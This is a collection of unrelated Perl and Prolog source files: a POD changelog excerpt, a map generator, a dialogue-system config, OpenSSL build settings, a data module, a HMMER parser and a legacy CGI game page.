=item The regular expression code constructs:
C<(?{ code })> and C<(??{ code })>
=back
=head1 Obsolete Diagnostics
=over 4
=item Character class syntax [: :] is reserved for future extensions
(W) Within regular expression character classes ([]) the syntax beginning
with "[:" and ending with ":]" is reserved for future extensions.
If you need to represent those character sequences inside a regular
expression character class, just quote the square brackets with the
backslash: "\[:" and ":\]".
=item Ill-formed logical name |%s| in prime_env_iter
(W) A warning peculiar to VMS. A logical name was encountered when preparing
to iterate over %ENV which violates the syntactic rules governing logical
names. Because it cannot be translated normally, it is skipped, and will not
appear in %ENV. This may be a benign occurrence, as some software packages
might directly modify logical name tables and introduce nonstandard names,
or it may indicate that a logical name table has been corrupted.
=item In string, @%s now must be written as \@%s
The description of this error used to say:
(Someday it will simply assume that an unbackslashed @
interpolates an array.)
That day has come, and this fatal error has been removed. It has been
replaced by a non-fatal warning instead.
See L</Arrays now always interpolate into double-quoted strings> for
details.
=item Probable precedence problem on %s
(W) The compiler found a bareword where it expected a conditional,
which often indicates that an || or && was parsed as part of the
last argument of the previous construct, for example:
open FOO || die;
=item regexp too big
(F) The current implementation of regular expressions uses shorts as
address offsets within a string. Unfortunately this means that if
the regular expression compiles to longer than 32767, it'll blow up.
Usually when you want a regular expression this big, there is a better
way to do it with multiple statements. See L<perlre>.
=item Use of "$$<digit>" to mean "${$}<digit>" is deprecated
(D) Perl versions before 5.004 misinterpreted any type marker followed
by "$" and a digit. For example, "$$0" was incorrectly taken to mean
"${$}0" instead of "${$0}". This bug is (mostly) fixed in Perl 5.004.
However, the developers of Perl 5.004 could not fix this bug completely,
because at least two widely-used modules depend on the old meaning of
"$$0" in a string. So Perl 5.004 still interprets "$$<digit>" in the
old (broken) way inside strings; but it generates this message as a
warning. And in Perl 5.005, this special treatment will cease.
=back
=head1 Reporting Bugs
If you find what you think is a bug, you might check the
articles recently posted to the comp.lang.perl.misc newsgroup.
There may also be information at http://www.perl.com/perl/ , the Perl
Home Page.
If you believe you have an unreported bug, please run the B<perlbug>
program included with your release. Be sure to trim your bug down
to a tiny but sufficient test case. Your bug report, along with the
output of C<perl -V>, will be sent off to perlbug@perl.org to be
analysed by the Perl porting team.
=head1 SEE ALSO
The F<Changes> file for exhaustive details on what changed.
The F<INSTALL> file for how to build Perl.
The F<README> file for general stuff.
The F<Artistic> and F<Copying> files for copyright information.
=head1 HISTORY
Written by Gurusamy Sarathy <F<gsar@activestate.com>>, with many
contributions from The Perl Porters.
Send omissions or corrections to <F<perlbug@perl.org>>.
=cut
| leighpauls/k2cro4 | third_party/cygwin/lib/perl5/5.10/pods/perl56delta.pod | Perl | bsd-3-clause | 107,184 |
#!/usr/bin/perl
# Made by kk
package build;
##############################################################
# #
# ____________________________ #
# /............................\ """"" #
# /........+============+........\ """"" #
# /.........| ++ |.........\ """"" #
# /..........| ++ |..........\ """"" #
# /...........|++++++++++++|...........\""""" #
# /............| ++ |............\"""" #
# /.............| ++ |.............\""" #
# /..............+============+..............\"" #
# /............................................\" #
# /..............................................\ #
# /................................................\ #
# ==================================================== #
# |...............................................,....| #
# |.....=============..................,........,,.....| #
# |....+=============+............,,.,........,........| #
# |....| | |.................................| #
# |....| | |........,........................| #
# |....| | |......,......,###############....| #
# |....+------+------+.............,# #....| #
# |....| | |..........,,..# #....| #
# |....| | |...,..........# #....| #
# |....| | |....,.........# #....| #
# |....+=============+..............# #....| #
# |.....=============.......,.......# 0 #....| #
# |..,....................,.,...... # #....| #
# |....,...............,........... # © #....| #
# |..,............,.......,........ # #....| #
# |......,,.....,,................. # #....| #
# |.....,.....,.................... # #....| #
# +----------------------------------------------------+ #
# #
##############################################################
use strict;
use warnings FATAL => 'all';
# Load stuff
our %stuff = ();
open my $stuff, '<', 'stuff';
s/S_([^ ]+) *\[(.)\]/$stuff{lc$1} = $2/e for <$stuff>;
close $stuff;
# Get new two-dimensional array with building.
#
# arg0 : width (optional)
# arg1 : height (optional)
# ret : building
sub get_building {
my $w = $_[0] // 20;
my $h = $_[1] // 20;
die "Building width and height must be at least 5 tails"
unless $w >= 5 && $h >= 5;
# Checks that arg is wall
sub wallp { '#' eq $_[0]; }
# Adds some doors to building
sub place_doors {
my ($w, $h) = @_;
my @bldg = @{$_[2]};
for my $i (0..$h-1) {
for my $j (0..$w-1) {
$bldg[$i][$j] = $stuff{door} if wallp($bldg[$i][$j]) && rand() < 0.03;
}
}
}
# Check reachability
sub everything_is_reachable {
my ($edy, $edx, $w, $h) = @_;
my @bldg = @{$_[4]};
my @visited = (); # Map of visited points
my @q = (); # Queue for start points
push @q, [$edy, $edx];
$visited[$edy][$edx] = 1;
while (0 != @q) {
my ($y, $x) = @{shift @q};
next if $y < 0 || $y > $h-1 || $x < 0 || $x > $w-1;
for my $i ($y-1..$y+1) {
next if $i < 0 || $i > $h-1;
for my $j ($x-1..$x+1) {
next if $j < 0 || $j > $w-1;
# We've just checked building borders.
# Now we have to check that we are looking onto door. It means that
# should check reachability without diagonal tiles.
next if (
$stuff{door} eq $bldg[$i][$j] || $stuff{door} eq $bldg[$y][$x]
) && (abs($x-$j)+abs($y-$i) != 1);
unless ($visited[$i][$j] || wallp($bldg[$i][$j])) {
push @q, [$i, $j];
$visited[$i][$j] = 1;
}
}
}
}
for my $i (0..$h-1) {
for my $j (0..$w-1) {
return undef unless wallp($bldg[$i][$j]) || $visited[$i][$j];
}
}
1;
}
my @bldg = (); # building
# Initial floor using S_FLOOR
for my $i (1..$h-2) {
for my $j (1..$w-2) {
$bldg[$i][$j] = $stuff{floor};
}
}
# Main walls using S_WALL
($bldg[$_][0], $bldg[$_][$w-1]) = ($stuff{wall}, $stuff{wall}) for 0..$h-1;
($bldg[0][$_], $bldg[$h-1][$_]) = ($stuff{wall}, $stuff{wall}) for 0..$w-1;
# Rooms
for (0..$h*0.11) {
my $y = int rand $h;
$bldg[$y][$_] = $stuff{wall} for 0..$w-1;
}
for (0..$w*0.11) {
my $x = int rand $w;
$bldg[$_][$x] = $stuff{wall} for 0..$h-1;
}
# Get rid of fat walls
my ($tries, $wall_deleted) = ($w*$h, 1);
while ($tries-- > 0 && $wall_deleted) {
$wall_deleted = undef;
for my $i (1..$h-2) {
next unless wallp $bldg[$i][1];
# Next line is wall or previous line is wall. And this line is wall.
if (wallp($bldg[$i][2]) &&
(wallp($bldg[$i-1][1]) && wallp($bldg[$i-1][2]) ||
(wallp($bldg[$i+1][1]) && wallp($bldg[$i+1][2])))) {
$bldg[$i][$_] = $stuff{floor} for 1..$w-2;
$wall_deleted = 1;
}
}
for my $i (1..$w-2) {
next unless wallp $bldg[1][$i];
# Next line is wall or previous line is wall. And this line is wall.
if (wallp($bldg[2][$i]) &&
(wallp($bldg[1][$i-1]) && wallp($bldg[2][$i-1]) ||
(wallp($bldg[1][$i+1]) && wallp($bldg[2][$i+1])))) {
$bldg[$_][$i] = $stuff{floor} for 1..$h-2;
}
}
# Fix leaky walls
for my $i (1..$h-2) {
for my $j (1..$w-2) {
if (wallp $bldg[$i][$j]) {
if (1 == wallp($bldg[$i-1][$j]) + wallp($bldg[$i+1][$j])) {
# Try to fix broken vertical line
# Find closest wall on the left
my $wpos;
for (reverse 1..$j-1) {
$wpos = $_ and last if wallp $bldg[$i][$_];
}
if (defined $wpos) {
# Conduct to the left
$bldg[$i][$_] = $stuff{wall} for $wpos..$j-1;
$wall_deleted = 1;
next;
}
# Find closest wall on the right
for ($j+1..$w-2) {
$wpos = $_ and last if wallp $bldg[$i][$_];
}
if (defined $wpos) {
# Conduct to the right
$bldg[$i][$_] = $stuff{wall} for $j+1..$wpos;
$wall_deleted = 1;
next;
}
# Haven't found, make full vertical line
$wall_deleted = 1;
$bldg[$_][$j] = $stuff{wall} for 0..$h-1;
next;
}
if (1 == wallp($bldg[$i][$j-1]) + wallp($bldg[$i][$j+1])) {
# Try to fix broken horizontal line
# Find closest wall on the top
my $wpos;
for (reverse 1..$i-1) {
$wpos = $_ and last if wallp $bldg[$_][$j];
}
if (defined $wpos) {
# Conduct to the top
$bldg[$_][$j] = $stuff{wall} for $wpos..$i-1;
$wall_deleted = 1;
next;
}
# Find closest wall on the bottom
for ($i+1..$h-2) {
$wpos = $_ and last if wallp $bldg[$_][$j];
}
if (defined $wpos) {
# Conduct to the bottom
$bldg[$_][$j] = $stuff{wall} for $i+1..$wpos;
$wall_deleted = 1;
next;
}
# Haven't found, make full horizontal line
$wall_deleted = 1;
$bldg[$i][$_] = $stuff{wall} for 0..$w-1;
}
}
}
}
}
my ($edy, $edx); # Enter Door coordinates
if (rand() > 0.5) {
$edy = int(rand() * ($h-3)) + 1;
$edx = rand() > 0.5 ? 0 : $w-1;
} else {
$edx = int(rand() * ($w-3)) + 1;
$edy = rand() > 0.5 ? 0 : $h-1;
}
$bldg[$edy][$edx] = $stuff{door};
# Plant some doors
place_doors $w, $h, \@bldg;
return \@bldg if everything_is_reachable $edy, $edx, $w, $h, \@bldg;
# Try one more time
place_doors $w, $h, \@bldg;
return \@bldg if everything_is_reachable $edy, $edx, $w, $h, \@bldg;
# Sometime we'll be lucky
get_building(@_);
}
1;
| zhmylove/itmmorgue | scripts/build.pm | Perl | mit | 8,297 |
/*************************************************************************
name: godis-AOD
version:
description: GoDiS-AOD specification file
author: Staffan Larsson
*************************************************************************/
:- ensure_loaded( search_paths ).
/*========================================================================
Select datatypes
Speficies a list of datatypes to be loaded. Each item DataType in the
list corresponds to a file DataType.pl in the search path.
========================================================================*/
selected_datatypes([string, move, atom, integer, real, bool, record,
set, stack, stackset, queue, oqueue, pair, godis_datatypes]).
/*========================================================================
Select modules
Each module spec has the form Predicate:FileName, where Predicate is the
unary predicate used to call the module, and FileName.pl is the a file
in the search path containing the module specification
========================================================================*/
selected_modules([ %input : input_textscore,
input : input_nuance_score_oaa,
interpret: interpret_simple,
update : update,
select : select,
generate : generate_simple,
output : output_nuance_basic_oaa
%output : output_simpletext
]).
% dme_module/1 - spefifies which modules have unlimited access to TIS
dme_modules([ update, select ]).
/*========================================================================
Select resources
Speficies a list of resources to be loaded. Each item
ResourceFile in the list corresponds to a a file ResourceFile.pl
in the search path. The file defines a resource object with the same
name as the file.
========================================================================*/
selected_resources( [
oaag,
asrg_telvcrlogin_english,
asrg_telvcrlogin_svenska,
lexicon_telvcrlogin_english,
lexicon_telvcrlogin_svenska,
domain_telvcrlogin,
device_telvcrlogin,
asrg_telvcr_english,
asrg_telvcr_svenska,
lexicon_telvcr_english,
lexicon_telvcr_svenska,
domain_telvcr,
device_telvcr
] ).
selected_macro_file( godis_macros ).
%batch_files(['~sl/GoDiS/Batch/testdialog1.txt','~sl/GoDiS/Batch/testdialog2.txt']).
/*========================================================================
operations to execute on TIS reset
========================================================================*/
reset_operations( [ set( program_state, run),
set( language, Lang ),
set( lexicon, $$dash2underscore(lexicon-Domain-Lang) ),
set( devices,
record([vcr=device_telvcr,
vcr_login=device_telvcrlogin]) ),
set( asr_grammar, $$dash2underscore(asrg-Domain-Lang) ),
% set( devices, record([telephone=device_telephone]) ),
set( domain, $$dash2underscore(domain-Domain) ),
push(/private/agenda,greet),
% push(/private/agenda,do(vcr_top)),
% push( /shared/actions, vcr_top ) ]):-
%assume we are godag,
add( /private/bel, user_name(godag) ),
add( /shared/com, user_name(godag) ),
push(/private/agenda,do(top)),
push( /shared/actions, top ) ]):-
flag( language, Lang ),
flag( domain, Domain ).
/*========================================================================
Nuance parameters, passed on as command line args to Nuance.
========================================================================*/
nuance_client_parameters(['lm.Addresses=localhost',
'client.TTSAddresses=localhost:32323' ]).
nuance_recserver_parameters(['lm.Addresses=localhost']).
nuance_vocalizer_parameters(['-language','Swedish','lm.Addresses=localhost']).
| TeamSPoon/logicmoo_workspace | packs_sys/logicmoo_nlu/ext/SIRIDUS/UGOT-D31/godis-apps/domain-telvcr/stdtvgodis.pl | Perl | mit | 3,864 |
#! /usr/bin/env perl
# -*- mode: perl; -*-
# Copyright 2016-2020 The OpenSSL Project Authors. All Rights Reserved.
#
# Licensed under the Apache License 2.0 (the "License"). You may not use
# this file except in compliance with the License. You can obtain a copy
# in the file LICENSE in the source distribution or at
# https://www.openssl.org/source/license.html
# This is a collection of extra attributes to be used as input for creating
# shared libraries, currently on any Unix variant, including Unix like
# environments on Windows.
sub detect_gnu_ld {
my @lines =
`$config{CROSS_COMPILE}$config{CC} -Wl,-V /dev/null 2>&1`;
return grep /^GNU ld/, @lines;
}
sub detect_gnu_cc {
my @lines =
`$config{CROSS_COMPILE}$config{CC} -v 2>&1`;
return grep /gcc/, @lines;
}
my %shared_info;
%shared_info = (
'gnu-shared' => {
shared_ldflag => '-shared -Wl,-Bsymbolic',
shared_sonameflag => '-Wl,-soname=',
},
'linux-shared' => sub {
return {
%{$shared_info{'gnu-shared'}},
shared_defflag => '-Wl,--version-script=',
dso_ldflags =>
(grep /(?:^|\s)-fsanitize/,
@{$config{CFLAGS}}, @{$config{cflags}})
? ''
: '-Wl,-z,defs',
};
},
'bsd-gcc-shared' => sub { return $shared_info{'linux-shared'}; },
'darwin-shared' => {
module_ldflags => '-bundle',
shared_ldflag => '-dynamiclib -current_version $(SHLIB_VERSION_NUMBER) -compatibility_version $(SHLIB_VERSION_NUMBER)',
shared_sonameflag => '-install_name $(INSTALLTOP)/$(LIBDIR)/',
},
'cygwin-shared' => {
shared_ldflag => '-shared -Wl,--enable-auto-image-base',
shared_impflag => '-Wl,--out-implib=',
},
'mingw-shared' => sub {
return {
%{$shared_info{'cygwin-shared'}},
# def_flag made to empty string so it still generates
# something
shared_defflag => '',
shared_argfileflag => '@',
};
},
'alpha-osf1-shared' => sub {
return $shared_info{'gnu-shared'} if detect_gnu_ld();
return {
module_ldflags => '-shared -Wl,-Bsymbolic',
shared_ldflag => '-shared -Wl,-Bsymbolic -set_version $(SHLIB_VERSION_NUMBER)',
};
},
'svr3-shared' => sub {
return $shared_info{'gnu-shared'} if detect_gnu_ld();
return {
shared_ldflag => '-G',
shared_sonameflag => '-h ',
};
},
'svr5-shared' => sub {
return $shared_info{'gnu-shared'} if detect_gnu_ld();
return {
shared_ldflag => detect_gnu_cc() ? '-shared' : '-G',
shared_sonameflag => '-h ',
};
},
'solaris-gcc-shared' => sub {
return $shared_info{'linux-shared'} if detect_gnu_ld();
return {
# Note: we should also have -shared here, but because some
# config targets define it with an added -static-libgcc
# following it, we don't want to change the order. This
# forces all solaris gcc config targets to define shared_ldflag
shared_ldflag => '-Wl,-Bsymbolic',
shared_defflag => "-Wl,-M,",
shared_sonameflag => "-Wl,-h,",
};
},
);
| kipid/blog | nodejs/openssl-master/Configurations/shared-info.pl | Perl | mit | 3,399 |
# =========================================================================
# Formatting: Expand tabs, 4 spaces per indent level.
# =========================================================================
=pod
=head1 NAME
Adobe::Codex2::Types::source - Define Codex type data.
=head1 DESCRIPTION
See POD from Adobe::Codex2.pm for details on using the Codex modules.
=head2 XML
<xs:element name="source">
<xs:complexType>
<xs:attribute name="path" type="xs:string" use="optional"/>
<xs:attribute name="protocol" type="xs:string" use="optional"/>
<xs:attribute name="query" type="xs:string" use="optional"/>
<xs:attribute name="server" type="xs:string" use="optional"/>
</xs:complexType>
</xs:element>
=head1 SUBROUTINES/METHODS
=cut
# -------------------------------------------------------------------------
# Module setup.
# -------------------------------------------------------------------------
package Adobe::Codex2::Types::source;
require 5.8.0;
use strict;
use warnings;
use base qw(Exporter);
our $VERSION = "0.2.0";
our @ISA = qw();
our @EXPORT = qw();
our @EXPORT_OK = qw(&Data);
our %EXPORT_TAGS = ();
# Get Perl modules.
# None.
# Get Codex modules.
# None.
# -------------------------------------------------------------------------
# Data
# -------------------------------------------------------------------------
sub Data
{
# Get arguments.
my $Data = shift;
# Check arguments.
# TODO
# Check data.
# TODO
# Storage for results.
my %source;
# Process data.
$source{'path'} = $Data->{'path'} if (exists $Data->{'path'});
$source{'protocol'} = $Data->{'protocol'} if (exists $Data->{'protocol'});
$source{'query'} = $Data->{'query'} if (exists $Data->{'query'});
$source{'server'} = $Data->{'server'} if (exists $Data->{'server'});
# Return results.
return %source;
}
1;
__END__
=pod
=head1 AUTHOR
Dave Foglesong (fogleson@adobe.com)
=head1 COPYRIGHT
Copyright 2008 Adobe Systems Incorporated. All rights reserved.
=cut
| brycelelbach/asl | tools/adobe/Codex2/Types/source.pm | Perl | mit | 2,113 |
#!/usr/bin/env perl
#TODO: Take multiple hmm names at the command line.
# Make use of the (undocumented) Easel library shipped with HMMER,
# which provides access to many parsing/extraction utilities.
use 5.010;
use strict;
use warnings;
use Bio::SearchIO;
use Getopt::Long;
use File::Basename;
my $infile;
my $outfile;
my $seqfile;
my $hmmname;
my $hmmseq;
my $seq;
GetOptions(
"i|infile=s" => \$infile,
"o|outfile=s" => \$outfile,
"s|seq=s" => \$seqfile,
"h|hmmname=s" => \$hmmname,
);
# open the infile or die with a usage statement
usage() and exit(1) if !$infile or !$outfile;
open my $out, ">", $outfile or die "\nERROR: Could not open file: $!\n";
if ($seqfile) { open $seq, '>', $seqfile or die "\nERROR: Could not open file: $!\n"; }
if ($hmmname) { open $hmmseq, '>', $hmmname or die "\nERROR: Could not open file: $!\n"; }
my $hmmer_in = Bio::SearchIO->new(-file => $infile, -format => 'hmmer');
say $out join "\t", "query", "query_length", "number_of_hits", "hit_name",
"hit_acc", "hit_score", "hit_significance", "hsp_length", "hsp_query_start",
"hsp_query_end", "hsp_hit_start", "hsp_hit_end";
while ( my $result = $hmmer_in->next_result ) {
my $query = $result->query_name;
my $qlen = $result->query_length;
my $num_hits = $result->num_hits;
while ( my $hit = $result->next_hit ) {
my $hitid = $hit->name;
my $hitacc = $hit->accession;
my $score = $hit->raw_score;
my $signif = $hit->significance;
while ( my $hsp = $hit->next_hsp ) {
my $hsplen = $hsp->length('total');
my $hstart = $hsp->start('hit');
my $hstop = $hsp->end('hit');
my $qstart = $hsp->start('query');
my $qstop = $hsp->end('query');
my $qstring = $hsp->query_string;
my $hstring = $hsp->hit_string;
my $seqid = ">".$query."|".$hitid."_".$qstart."-".$qstop;
say $out join "\t", $query, $qlen, $num_hits, $hitid, $hitacc,
$score, $signif, $hsplen, $qstart, $qstop, $hstart, $hstop;
if ($seqfile) {
say $seq join "\n", $seqid, $qstring;
}
if ($hmmname) {
say $hmmseq join "\n", $seqid, $qstring
if $hmmname =~ /$hitid/;
}
}
}
}
close $out;
close $seq if $seqfile;
close $hmmseq if $hmmname;
exit;
#
# methods
#
sub usage {
my $script = basename($0);
print STDERR <<END
USAGE: $script -i myresults.hmmer -o myparsedresults.txt [-s] [-h]
Required:
-i|infile : HMMER report to parse.
-o|outfile : File name to write the parsed results to.
Options:
-s|seq : Write the matching query string to a separate Fasta file.
-h|hmmname : A name of domain to search for in the results. If given,
all matches to the domain will be written to a file.
END
}
| sestaton/sesbio | gene_annotation/parse_hmmer.pl | Perl | mit | 2,948 |
#!/usr/bin/perl
require 'quickies.pl'
($User,$Planet,$AuthCode)=split(/&/,$ENV{QUERY_STRING});
$PlanetDir = $MasterPath . "/se/Planets/$Planet";
$UserDir = "$PlanetDir/users/$User";
if (-e "$UserDir/Dead.txt") {
print "Location: http://www.bluewand.com/cgi-bin/classic/Dead.pl?$User&$Planet&$AuthCode\n\n";
die;
}
if (-e "$UserDir/dupe.txt") {
print "<SCRIPT>alert(\"Your nation has been locked down for security reasons. Please contact the Bluewand Entertainment team at shattered.empires\@canada.com for details.\");history.back();</SCRIPT>";
die;
}
if (-e "$UserDir/notallowed.txt") {
print "<SCRIPT>alert(\"Your nation has been taken off-line temporarily. Please contact the Bluewand Entertainment team for details.\");history.back();</SCRIPT>";
$flags = 1;
die;
}
print "Content-type: text/html\n\n";
$user_information = $MasterPath . "/User Information";
dbmopen(%authCode, "$user_information/accesscode", 0777);
if(($AuthCode ne $authCode{$User}) || ($AuthCode eq "")){
print "<SCRIPT>alert(\"Security Failure. Please notify the GSD team immediately.\");history.back();</SCRIPT>";
die;
}
dbmclose(%authCode);
$Header = "#333333";$HeaderFont = "#CCCCCC";$Sub = "#999999";$SubFont = "#000000";$Content = "#666666";$ContentFont = "#FFFFFF";
#New Tech Format - (Player) - Type|Name|Points|PointsRequired|Type1|Type2|Type3|Type4|Tech1|Tech2|Tech3|Tech4
#New Tech Format - (Index) - Name|PointsRequired|Tech1|Tech2|Tech3|Tech4
$GameKeepPath=qq!http://www.bluewand.com/classic!;
&parse_form;
$ResearchPath = $MasterPath . "/research";
$PlayerPath = $MasterPath . "/se/Planets/$Planet/users/$User";
$PlayerTechPath = $MasterPath . "/se/Planets/$Planet/users/$User/research";
$Path = "AllyUtil.pl";
#unless ($User eq "Admin_One") {die}
if (-e "$PlayerPath/alliance.txt") {
$SendTech = 1;
open (IN, "$PlayerPath/alliance.txt");
$Alliance = <IN>;
close (IN);
chop ($Alliance);
}
open (DATAIN, "$PlayerPath/research.txt");
flock (DATAIN, 1);
@Sci = <DATAIN>;
close (DATAIN);
&chopper (@Sci);
$begingraph =qq!<IMG SRC="$GameKeepPath/images/begin.gif" HEIGHT = "12" WIDTH="3">!;
$endgraph=qq!<IMG SRC="$GameKeepPath/images/end.gif" HEIGHT = "12" WIDTH="3">!;
open (DATAIN, "$PlayerPath/research.txt");
flock (DATAIN, 1);
@Scis = <DATAIN>;
close (DATAIN);
open (IN, "$PlayerTechPath/TechData.tk");
flock (IN, 1);
@TechData = <IN>;
close (IN);
&chopper (@TechData);
#Index Technologies
foreach $Tech (@TechData) {
(@TechInfo) = split(/\|/,$Tech);
if (@TechInfo[2] >= @TechInfo[3]) {$Storage{@TechInfo[1]} = 1}
# $l = $Storage{@TechInfo[1]};
# if ($User eq "Admin_One") {print "@TechInfo[2] >= @TechInfo[3]) : $l = 1, '@TechInfo[1]'<BR>"}
if (@TechInfo[0] == 1) {push (@Military, $Tech)}
}
$Storage{""} = 1;
$Storage{0} = 1;
open (IN, "$ResearchPath/TechData.tkF") or print "$!";
flock (IN, 1) or print $!;
@CompleteTechData = <IN> or print $!;;
close (IN);
&chopper (@CompleteTechData);
push (@CompleteTechData, @Military);
open (DATAIN, "$PlayerPath/money.txt");
$money = <DATAIN>;
close (DATAIN);
chop ($money);
open (DATAIN, "$PlayerPath/turns.txt");
$turns = <DATAIN>;
close (DATAIN);
chop ($turns);
$money = &Space($money);
print qqÞ
<HTML>
<SCRIPT>
parent.frames[1].location.reload()
</SCRIPT>
<BODY bgcolor=#000000 text=#FFFFFF>
<FONT face=verdana size=-1>
<table width=100% border=1 cellspacing=0><TR><TD BGCOLOR=$Header><CENTER><B><FONT face=verdana size=-1>Technology</TD></TR></TABLE><BR>
<TABLE BORDER="1" WIDTH="100%" BORDER=1 CELLSPACING=0>
<TR>
<TD BGCOLOR="$Header" WIDTH="25%"><FONT FACE="Arial, Helvetica, sans-serif" size="-1">Current Funds:</FONT></TD>
<TD BGCOLOR="$Content" WIDTH="25%"><FONT FACE="Arial, Helvetica, sans-serif" size="-1">\$$money</TD>
<TD BGCOLOR="$Header" WIDTH="25%"><FONT FACE="Arial, Helvetica, sans-serif" size="-1">Turns Remaining:</FONT></TD>
<TD BGCOLOR="$Content" WIDTH="25%"><FONT FACE="Arial, Helvetica, sans-serif" size="-1">$turns</TD>
</TR>
</TABLE><BR>
<FORM method="POST" action="http://www.bluewand.com/cgi-bin/classic/TechWrite.pl?$User&$Planet&$AuthCode">
<table border=1 cellspacing=0 width=25%><TR><TD bgcolor=$Header width=50%><FONT face=verdana size=-1>Scholars</td><td bgcolor=$Content><FONT face=arial size=-1>$Sci[0]</td></tr></table>Þ;
if (-e "$PlayerTechPath/Researcher.cpl") {
print qq!<table border=1 cellspacing=0 width=25%><TR><TD bgcolor=$Header width=50%><FONT face=verdana size=-1>Researchers</td><td bgcolor=$Content><FONT face=arial size=-1>$Sci[1]</td></tr></table>!;
}
print qqÞ<BR><Table width=100% border=1 cellspacing=0 bgcolor=$Content><TR bgcolor=$Header><TD><FONT face=verdana size=-1>Tech Name</TD><TD width=12%><FONT face=arial size=-1>Completed</TD><TD width=102><FONT face=arial size=-1>Percent Completed</TD><TD width=*><FONT face=arial size=-1>Scholars</TD>Þ;
if (-e "$PlayerTechPath/Researcher.cpl") {print qqÞ<TD><FONT face=verdana size=-1>Researcher</TD>Þ}
if (-e "$PlayerTechPath/engineer.cpl") {print qqÞ<TD><FONT face=verdana size=-1>Engineer</TD>Þ}
if (-e "$PlayerTechPath/scientist.cpl") {print qqÞ<TD><FONT face=verdana size=-1>Scientist</TD>Þ}
print "<\/TR>";
#print @CompleteTechData;
foreach $Item (@CompleteTechData) {
(@TechLine) = split(/\|/,$Item);
if (@TechLine[0] == 1) {$Bump = 6} else {$Bump = 0}
if (($Storage{@TechLine[2+$Bump]} == 1) and ($Storage{@TechLine[3+$Bump]} == 1) and ($Storage{@TechLine[4+$Bump]} == 1) and ($Storage{@TechLine[5+$Bump]} == 1)) {}
$Flag = 0;
foreach $UserTech (@TechData) {
(@TechInfo) = split(/\|/,$UserTech);
@TechInfo[1] =~ tr/ /_/;
if (@TechInfo[0] == 1) {$Bump = 1} else {$Bump = 0}
if (@TechInfo[1] eq @TechLine[0+$Bump]) {
if (@TechInfo[2] < @TechInfo[3]) {
$Flag = 1;
if ($TechInfo[1] < $TechInfo[2]) {$GraphLength = int((($TechInfo[2]/$TechInfo[3]))*100)} else {$GraphLength = 0}
$TimeLeft = qq!<IMG SRC="$GameKeepPath/images/graph2.gif" HEIGHT="12" WIDTH="$GraphLength">!;
if ($SendTech == 1 and @TechLine[0] != 1) {
$Items = $Item;
$Items =~ tr/ /_/;
# $Sneak = qq!<TD><font face=verdana size=-1><a href="$Path?$User&$Planet&$AuthCode&$Alliance&$TechInfo[1]&a&11101" target ="Frame5" ONMOUSEOVER = "parent.window.status='Send tech for approval';return true" ONMOUSEOUT = "parent.window.status='';return true" STYLE="text-decoration:none;color:white">Send</a></TD>!;
}
$Formatted = @TechInfo[1];
$Formatted =~ tr/_/ /;
print qqÞ\n<TR><TD><FONT face=verdana size=-1>$Formatted</TD><TD><FONT face=arial size=-1>$GraphLength%</TD><TD width=102><FONT face=arial size=-1>$begingraph$TimeLeft$endgraph</TD><TD><FONT face=arial size=-1><INPUT TYPE="text" name="$TechInfo[1]0" value="@TechInfo[4]" size=6></TD>Þ;
if ($Storage{'Researcher'} == 1) {print qqÞ<TD><FONT face=verdana size=-1><INPUT TYPE="text" name="$TechInfo[1]1" value="$TechLine[5]" size=6></TD>Þ}
if ($Storage{'Engineer'} == 1) {print qqÞ<TD><FONT face=verdana size=-1><INPUT TYPE="text" name="$TechInfo[1]2" value="$TechLine[6]" size=6></TD>Þ}
if ($Storage{'Scientist'} == 1) {print qqÞ<TD><FONT face=verdana size=-1><INPUT TYPE="text" name="$TechInfo[1]3" value="$TechLine[7]" size=6></TD>Þ}
print qq!$Sneak</TR>!;
} else {$Flag = 1}
}
}
if ($Flag == 0) {
# if ($User eq "Admin_One") {print qq!@TechLine[0] - ($Storage{@TechLine[2]} == 1) and ($Storage{@TechLine[3]} == 1) and ($Storage{@TechLine[4]} == 1) and ($Storage{@TechLine[5]} == 1)<BR>!}
@TechLine[2] =~ tr/ /_/;
@TechLine[3] =~ tr/ /_/;
@TechLine[4] =~ tr/ /_/;
@TechLine[5] =~ tr/ /_/;
if (($Storage{@TechLine[2]} == 1) and ($Storage{@TechLine[3]} == 1) and ($Storage{@TechLine[4]} == 1) and ($Storage{@TechLine[5]} == 1)) {
(@TechInfo) = split(/\|/,$Item);
$GraphLength = 0;
$Formatted = @TechLine[0];
$Formatted =~ tr/_/ /;
$TimeLeft = qq!<IMG SRC="$GameKeepPath/images/graph2.gif" HEIGHT="12" WIDTH="$GraphLength">!;
print qqÞ\n<TR><TD><FONT face=verdana size=-1>$Formatted</TD><TD><FONT face=arial size=-1>$GraphLength%</TD><TD width=102><FONT face=arial size=-1>$begingraph$TimeLeft$endgraph</TD><TD><FONT face=arial size=-1><INPUT TYPE="text" name="$TechLine[0]0" value="0" size=6></TD>Þ;
if ($Storage{'Researcher'} == 1) {print qqÞ<TD><FONT face=verdana size=-1><INPUT TYPE="text" name="$TechLine[0]1" value="0" size=6></TD>Þ}
if ($Storage{'Engineer'} == 1) {print qqÞ<TD><FONT face=verdana size=-1><INPUT TYPE="text" name="$TechLine[0]2" value="0" size=6></TD>Þ}
if ($Storage{'Scientist'} == 1) {print qqÞ<TD><FONT face=verdana size=-1><INPUT TYPE="text" name="$TechLine[0]3" value="0" size=6></TD>Þ}
print qq!$Sneak</TR>!;
}
}
}
print qqÞ
</table><Font size="-2"><CENTER>
<INPUT TYPE="submit" value=" Assign ">
<FORM>
</body>
</html>
Þ;
sub CheckAll {
local $TotCount;
local $TestCount;
$Counter = grep(/\|/,$ItemInfo[0]);
(@Pass) = split(/\|/,$ItemInfo[0],5);
$Num=0;
$TestCount=0;
while ($Num <= $#Pass) {
if ($Counter == $Num) {$Pass[$Num] = substr($Pass[$Num],0,length($Pass[$Num])-1)}
if ($Pass[$Num] eq "") {$TestCount++}
$TotCount ++;
if (grep(/$Pass[$Num]/,@CompletedTechs) > 0) {$TestCount++}
$Num++;
}
if ($TestCount == $TotCount) {return 1} else {return 2}
}
#sub chopper{
# foreach $k(@_) {
# chop($k);
# }
#}
sub parse_form {
# Get the input
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
# Split the name-value pairs
@pairs = split(/&/, $buffer);
foreach $pair (@pairs) {
($name, $value) = split(/=/, $pair);
# Un-Webify plus signs and %-encoding
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value =~ s/<!--(.|\n)*-->//g;
$value =~ s/<([^>]|\n)*>//g;
$data{$name} = $value;
}
}
#sub Space {
# local($_) = @_;
